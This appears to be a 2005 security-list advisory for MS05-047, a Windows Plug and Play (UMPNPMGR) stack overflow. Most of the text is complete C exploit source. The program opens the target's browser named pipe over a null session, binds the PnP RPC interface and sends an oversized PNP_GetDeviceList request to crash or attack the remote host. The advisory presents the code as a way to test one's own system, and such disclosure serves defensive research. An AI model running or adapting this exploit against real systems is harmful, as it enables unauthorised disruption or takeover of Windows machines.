[EXPL] Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

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Date: 11/06/05

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      Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)
    ------------------------------------------------------------------------

    SUMMARY

    A remote code execution and local elevation of privilege vulnerability
    exists in Plug and Play that could allow an authenticated attacker who
    successfully exploited this vulnerability to take complete control of the
    affected system, the following exploit code can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    Vulnerability advisories:
     <http://www.securiteam.com/windowsntfocus/6G00B0KEBG.html> UPnP
    Vulnerability Allows Remote Code Execution and Local Elevation of
    Privilege (MS05-047)
     <http://www.securiteam.com/windowsntfocus/6I00E0KEAY.html> Windows
    UMPNPMGR wsprintfW Stack Buffer Overflow (MS05-047)

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2120>
    CAN-2005-2120

    Exploit:
    #include <stdio.h>
    #include <windows.h>

    #pragma comment(lib, "mpr")
    #pragma comment(lib, "Rpcrt4")

    unsigned char szBindString[] =
    {
           
    0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
           
    0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
           
    0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
           
    0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
           0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
    };

    unsigned char szRequestString[] =
    {
    0x05,0x00,
    0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x08,
    0x00,0x00,0x00,0x00,0x0a,0x00,0x44,0xf7,0x12,0x00,0x00,0x04,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x04,0x00,0x00,0x48,0x00,0x54,0x00,0x52,0x00,0x45,0x00,0x45,0x00,
    0x5c,0x00,0x52,0x00,0x4f,0x00,0x4f,0x00,0x54,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
    0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
    0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
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    0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
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    };

    int main(int argc, char* argv[])
    {
           char szServerName[MAX_PATH];
           char szPipe[MAX_PATH];
           HANDLE hFile;
           NETRESOURCE nr;

           if (argc < 2){
                   printf("[-] Usage: %s <host>\n", argv[0]);
                   return -1;
           }

           if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
                   printf("[-] Host name %s is too long !\n");
                   return -1;
           }

           printf("[+] Start connect host %s ... \n", argv[1]);
           wsprintf( szServerName, "\\\\%s\\pipe", argv[1] );
           nr.dwType = RESOURCETYPE_ANY;
           nr.lpLocalName = NULL;
           nr.lpRemoteName = szServerName;
           nr.lpProvider = NULL;
           if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
                   printf("[-] Connect to host %s failed !\n", argv[1]);
                   return -1;
           }

           _snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser",
    argv[1]);
           hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
                   OPEN_EXISTING, 0, NULL);

           if ( hFile == INVALID_HANDLE_VALUE ) {
                   printf("[-] Open name pipe %s failed !\n", szPipe);
                   return -1;
           }

           unsigned char szOutBuffer[0X1000];
           unsigned long nBytesRead;

           printf("[+] Start bind RPC interface ... \n");
           // bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
           if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
                   szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
                   printf("[-] TransactNamedPipe (Binding) failed !\n");
                   CloseHandle(hFile);
                   return -1;
           }

           // send rpc request to call PNP_GetDeviceList (opnum 10)
           printf("[+] Start send RPC request ... \n");
           if ( ! TransactNamedPipe(hFile, szRequestString,
    sizeof(szRequestString),
                   szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
                   printf("[-] TransactNamedPipe (Binding) failed !\n");
                   CloseHandle(hFile);
                   return -1;
           }
           printf("[+] Attack host %s complete !\n", argv[1]);
           return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

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